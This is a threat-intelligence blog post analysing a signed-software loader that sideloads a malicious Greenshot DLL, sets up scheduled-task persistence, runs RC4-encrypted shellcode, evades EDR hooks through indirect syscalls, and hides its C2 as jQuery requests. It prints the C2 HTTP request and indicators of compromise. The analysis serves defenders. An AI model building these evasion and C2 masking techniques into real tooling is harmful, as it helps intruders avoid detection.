EXPEL BLOG

Along for the ride: When legitimate software becomes a signed malware loader

Expel Intel

· 7 MIN READ · MARCUS HUTCHINS · OCT 23, 2025

High-level overview

This blog details the highly evasive second stage of a threat we previously outlined in Cache smuggling: When a picture isn’t a thousand words. The company Intrinsec claimed the activity as part of their Red Team, but we leveraged this opportunity to analyze more of their attack chain. 

The files that were copied across in stage one, while continuing to masquerade as a FortiClient compliance checker, are actually components of a legitimate, digitally signed screenshot tool called Greenshot. In this case the tool is being used as a loader. The actors have replaced an unsigned DLL that the application loads with a malicious version.

The malicious DLL will suppress the legitimate user interface of the screenshot application and replace it with a fake progress bar designed to look like a FortiClient compliance checker. The malicious DLL then loads a second DLL containing the malware’s main loader.

The malware’s main loader is responsible for decrypting and loading shellcode into memory. Additionally, it creates a scheduled task to ensure the fake FortiClient compliance checker runs whenever the compromised system restarts. 

This threat then employs several advanced evasion techniques to further its attacks. First it uses indirect system calls in an attempt to avoid user-mode hooks placed by security products such as EDRs. The malware also masks its C2 traffic as benign requests to fetch a JQuery library, hiding the commands within the cookie field, in an attempt to evade TLS inspection.

While the C2 server was still active, no final payload was observed, leaving the ultimate goal of the campaign unclear. This analysis highlights how publicly available techniques can be combined to create highly evasive malware.

What follows is a detailed technical analysis of this second stage.

The story continues

In our last blog we detailed how a unique ClickFix variant uses cache smuggling to download and extract a ZIP archive. We’ve since learned the payloads were part of a Red Team engagement conducted by Intrinsec. Here, we’ll dive into the second stage loader, which leverages several interesting and highly evasive techniques.

In our breakdown of this threat, we previously outlined how the browser had cached a fake “image/jpeg” file, getting an entire ZIP file onto the local system without needing to make any web requests. It then copied the contents to another location on the system.

The folder that the threat writes and extracts the ZIP file to is %LocalAppData%\FortiClient\compliance. The string %LocalAppData% is an environment variable which typically expands to  C:\Users\[USER NAME]\AppData\Local.

Below is a screenshot of the contents of the ZIP archive the PowerShell script extracts from the browser’s cache.

The files from the ZIP archive which is extracted to “%LOCALAPPDATA%\FortiClient\compliance”

The files from the ZIP archive which is extracted to “%LOCALAPPDATA%\FortiClient\compliance”

 

FortiClientCompliance.exe is the executable run by the malicious PowerShell, but actually isn’t malware. The original file name is Greenshot.exe, which belongs to a legitimate screenshot manager named Greenshot.

When we view the properties of FortiClientComplianceChecker.exe, we can see several references to Greenshot.

When we view the properties of FortiClientComplianceChecker.exe, we can see several references to Greenshot.

 

Greenshot is what’s known as portable software, which means it doesn’t require installation. The user can simply just download a ZIP file containing the application and all its dependencies, then run it. 

The actors have downloaded the real Greenshot ZIP file, renamed Greenshot.exe to FortiClientCompliance.exe, then replaced one of Greenshot’s dependencies (GreenshotPlugin.dll) with a malicious one.

Since this version of Greenshot.exe automatically loads GreenshotPlugin.dll, the legitimate unmodified Greenshot executable will load the actor’s malicious DLL (this technique is often referred to as DLL Sideloading [T1574.001]).

In this case, the benefit lies in the fact that Greenshot.exe is digitally signed. Many security products inherently trust digitally signed executables more than unsigned ones. Thus, by piggybacking on a legitimate executable, the actors reduce detection risk.

Simply renaming Greenshot.exe to FortiClientCompliance.exe does not affect the digital signature as no code is modified.

When Sideloading Meets Social Engineering

To avoid arousing any suspicion, the actors have gone as far as implementing a fake “compliance check.” When FortiClientCompliance.exe is launched, the user will see the following screen.

What the user sees when the trojanized Greenshot application is executed.

What the user sees when the trojanized Greenshot application is executed.

 

The actors have leveraged the fact that Greenshot is open source by building their malicious GreenshotPlugin.dll from the source code of the real one. Most of the code remains as-is, with the exception of some extra code added to the InitializeLog4Net function.

Code embedded in the Log4Net initialization function that replaces Greenshot’s UI with a fake FortiClient progress bar

Code embedded in the Log4Net initialization function that replaces Greenshot’s UI with a fake FortiClient progress bar

 

The code responsible for handling the fake compliance check

The code responsible for handling the fake compliance check

 

The additional code replaces Greenshot’s user interface with the fake compliance checker one. A progress bar is displayed for three seconds before showing a message saying “All compliance checks passed successfully !”

The last line of the modified GreenshotPlugin code is a call to DllImport, which enables the .NET code to load a native DLL. In this case, a DLL named updater.dll is loaded, which resides inside the same extracted ZIP folder as the Greenshot files.

The GreenshotPlugin.dll (.NET) loading updater.dll (Native Code)

 The GreenshotPlugin.dll (.NET) loading updater.dll (Native Code)

 

Reversing The Malicious Loader

Updater.dll is responsible for establishing persistence by creating a scheduled task named FortiClient Update Task which runs FortiClientCompliance.exe upon reboot. Since FortiClientCompliance.exe is a legitimate digitally signed executable, it’s less likely to raise suspicion. Each time the system restarts, FortiClientCompliance.exe will load GreenshotPlugin.dll, which in turn loads updater.dll.

After setting up the scheduled task, the loader then reads rc4 encrypted shellcode from a file named logo.ico, which is also contained within the ZIP archive. The loader allocates some memory inside the current process, decrypts the shellcode into it, then changes the memory to executable and runs it.

The code used by updater.dll to execute the shellcode contained within the icon.ico file

The code used by updater.dll to execute the shellcode contained within the icon.ico file

 

Both the shellcode and updater.dll loader obfuscate calls by resolving module and function names by hash. Additionally, both leverage the native API using “indirect syscall”, a technique designed to evade user-mode hooks placed by security products such as EDRs.

Advanced evasion via Indirect syscalls

Many important functions are implemented in the Windows kernel and only exposed to user mode applications via the system call interface. One example is the function NtAllocateVirtualMemory, which is used by the loader to allocate memory for shellcode.

Below is the code for NtAllocateVirtualMemory, which is located inside ntdll.dll.

The code for NtAllocateVirtualMemory inside ntdll.dll

The code for NtAllocateVirtualMemory inside ntdll.dll

 

An EDR may hook such a function to detect malware attempting to allocate memory for shellcode. However, because the function code is so simplistic, the malware could implement the code itself, bypassing the EDR’s hook.

One challenge of this technique is that the instruction mov eax, 15h tells the kernel which function is being called. The eax must contain the system call number of the function being called. In this case the number is 0x15; however, it varies across Windows versions.

The malware could simply just fetch the number directly from the target function’s code, but this runs into issues with many EDRs.

An example of an ntdll function before being hooked by an EDR

An example of an ntdll function before being hooked by an EDR

 

An example of the same ntdll function after being hooked by an EDR

An example of the same ntdll function after being hooked by an EDR

In this case, the jmp instruction used to hook the function has overwritten the instruction which sets the eax register to the system call number. Consequently, the syscall number cannot be extracted directly from the function’s code.

However, functions in ntdll are in sequential order. As you can see below, each function has a syscall number 1 higher than the one before it.

A snippet from ntdll showing functions in sequential order

A snippet from ntdll showing functions in sequential order

 

If the function the malware wants to call is hooked, it can get the system call number from the function before it and add 1, or the function after it and subtract 1. In fact, the malware will go backwards & forwards up to 500 (0x1F4u is unsigned hex for decimal 500) functions until it finds one which isn’t hooked.

The malware’s code for extracting the system call number and syscall instruction address

The malware’s code for extracting the system call number and syscall instruction address

 

Since EDRs cannot afford to hook every function (as this would have a massive negative performance impact), there is always going to be an unhooked function for the malware to calculate the target system call number from.

Additionally, due to the fact some EDRs can detect where a syscall originated from, the malware avoids simply implementing a syscall instruction directly. Instead, it uses one of the syscalls already present in ntdll. Rather than calling the start of a function, it finds the address of a syscall instruction in ntdll then jumps directly to it.

The malware’s own system call routine, which reuses syscall instructions from ntdll.

The malware’s own system call routine, which reuses syscall instructions from ntdll.

 

The malware’s code for extracting system call numbers and performing system calls closely resembles a public proof-of-concept known as ”hell’s hall”.

Masking the C2 traffic

Once the shellcode has been loaded and initialized, it begins communicating with the C2 server fc-update.azurewebsites[.]net via HTTPs.

The web request format resembles a common Cobalt Strike ‘malleable C2’ profile which masks the C2 traffic as attempts to fetch the JQuery library. By using a benign looking request, the actors may be able to evade TLS inspection. The actual C2 message is contained within the Cookie field, which is encrypted and encoded as part of the __cfduid cookie, a cookie used by Cloudflare to store the user’s id.

GET /content/js/jquery/v3.4.3/min.js HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://code.jquery.com/
Accept-Encoding: identity
Cookie: __cfduid={encrypted C2 Message}
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
Host: fc-update.azurewebsites.net
Connection: Keep-Alive
Cache-Control: no-cache

Although the C2 server appeared to be live at the time of investigation, no follow-up payload was received. 

Final Word

This campaign illustrates how public proof-of-concepts can be combined to create highly evasive and undetectable malware. While none of these techniques are brand new, combining techniques in different ways can allow new threats to get through defences where old ones failed. Even just small changes to existing attack chains can be enough to slip past multiple layers of security.

IOCs

Phishing page url fc-checker.dlccdn[.]com
Phishing page IP 3.73.38[.]245
C2 server address fc-update.azurewebsites[.]net
Fake JPG 88e68b631df57cb851876093056a41325800e29111dcfe93d1568074004d9b87
ZIP file f0d04f39cc5ebfec06508460fb77e85c9221e2b0c46f2ca913ffc7f96604e9d8
Malicious GreenshotPlugin.dll 26782317a40a1a03ed037527f8a86a803f01bbdd10734c59c453145b2e2ddc4b
updater.dll 013a099394582a6cb0e556b871177de0e42feb281b49e0099cbedfc35e80545c
logo.ico 1f358b6534bfdbb412a432138ea1edeef0e7a0cd88cd0a79568204eb875bd953
Decrypted Shellcode 170c84c184b8b9edb698d941a893eab49f753257af3a86bc9037d97d15b02121